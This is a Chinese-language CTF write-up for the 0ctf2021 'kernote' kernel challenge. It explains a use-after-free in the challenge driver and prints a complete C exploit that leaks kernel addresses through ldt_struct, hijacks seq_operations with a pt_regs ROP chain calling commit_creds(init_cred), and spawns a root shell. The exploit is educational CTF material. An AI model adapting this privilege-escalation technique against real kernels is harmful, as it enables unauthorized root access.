【ldt_struct】0ctf2021-kernote-编程知识

前言

题目给的文件系统是 ext4，所以我们只需要将其挂载即可使用：

1、创建一个空目录

2、使用 mount 将其挂载即可

3、使用 umount 卸载即可完成打包

开启了 smap、smep、kaslr 和 kpti 保护，并且给了如下内核编译选项：

Here are some kernel config options in case you need it
```
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
```

可以看到这里使用的是 slab 分配器而不是默认的 slub 分配器：

开启了 Random Freelist（slab 的 freelist 会进行一定的随机化）
开启了 Hardened Freelist（slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或（参照 glibc 的 safe-linking））
开启了 Hardened Usercopy（在向内核拷贝数据时会进行检查，检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等）
开启了 Static Usermodehelper Path（modprobe_path 为只读，不可修改）

漏洞利用

驱动程序比较简单，就一个 ioctl 函数，实现了四个功能，给了一个 32 字节大小的 UAF，并且有写 8 字节的能力。

漏洞的产生在于在释放了 buf[idx] 时，虽然将其置零了，但是我们可以通过 note 继续操作释放的堆块，这里就导致了 UAF。

这里需要注意的是本题使用的是 slab 分配器，其最小的堆块大小就是 32 字节了，所以这里的 ldt_struct 也是会分配到 32 字节的 object，所以这里选择 ldt_struct 泄漏内核基地址，然后再劫持 seq_operations，利用 pt_regs 一套带走。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define SECONDARY_STARTUP_64 0xffffffff81000040size_t pop_rdi = 0xffffffff81075c4c; // pop rdi ; ret
size_t init_cred = 0xffffffff8266b780;
size_t commit_creds = 0xffffffff810c9dd0;
size_t add_rsp_xx = 0xFFFFFFFF81A1B270;
size_t swapgs_kpti = 0xFFFFFFFF81C00FB8;int seq_fd;
char buffer[8];void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;
void add(size_t idx)
{ioctl(fd, 0x6667, idx);
}void dele(size_t idx)
{ioctl(fd, 0x6668, idx);
}void note_get(size_t idx)
{ioctl(fd, 0x6666, idx);
}void note_write(size_t data)
{ioctl(fd, 0x6669, data);
}int main(int argc, char** argv, char** env)
{bind_core(0);int res;int pipe_fd[2];size_t* buf;size_t temp;size_t page_offset_base;size_t search_addr;size_t kernel_offset;struct user_desc desc = { 0 };fd = open("/dev/kernote", O_RDWR);if (fd < 0) err_exit("Failed to open /dev/kernote");add(0);note_get(0);dele(0);page_offset_base = 0xffff888000000000;desc.base_addr = 0xff0000;desc.entry_number = 0x8000 / 8;syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));while (1){note_write(page_offset_base);res = syscall(SYS_modify_ldt, 0, &temp, 8);if (res > 0) break;else if (res == 0) err_exit("Error in leak page_offset_base by ldt_struct");page_offset_base += 0x4000000;}hexx("page_offset_base", page_offset_base);pipe(pipe_fd);buf = malloc(0x1000*sizeof(size_t));kernel_offset = -1;search_addr = page_offset_base;while (1){note_write(search_addr);if (!fork()){res = syscall(SYS_modify_ldt, 0, buf, 0x8000);for (int i = 0; i < 0x1000; i++)if (buf[i] > 0xffffffff81000000 && (buf[i]&0xfff) == 0x040){kernel_offset = buf[i] - SECONDARY_STARTUP_64;break;}write(pipe_fd[1], &kernel_offset, 8);exit(0);}wait(NULL);read(pipe_fd[0], &kernel_offset, 8);if (kernel_offset != -1) break;search_addr += 0x8000;}hexx("kernel_offset", kernel_offset);pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;add_rsp_xx += kernel_offset;hexx("add_rsp_xx", add_rsp_xx);add(1);note_get(1);dele(1);seq_fd = open("/proc/self/stat", O_RDONLY);if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");note_write(add_rsp_xx);asm("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;""xor rax, rax;""mov rdi, seq_fd;""mov rsi, buffer;""mov rdx, 8;""syscall;");hexx("UID", getuid());system("/bin/sh");return 0;
}

效果如下：

彩蛋

这里调试时，又无法在 seq_operations->start 这里断住，思考了好久，最后想到了，seq_operations->start 是在 seq_read_iter 中被调用的，所以直接把断点打在 seq_read_iter 这里，然后再跟几步就可以跟到 seq_operations_start 了。以后就直接这样调试了

其实我们要注意栈回溯，如果断点断不下来，我们可以往前回溯，然后跟几步就 ok 了

参考：【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3's blog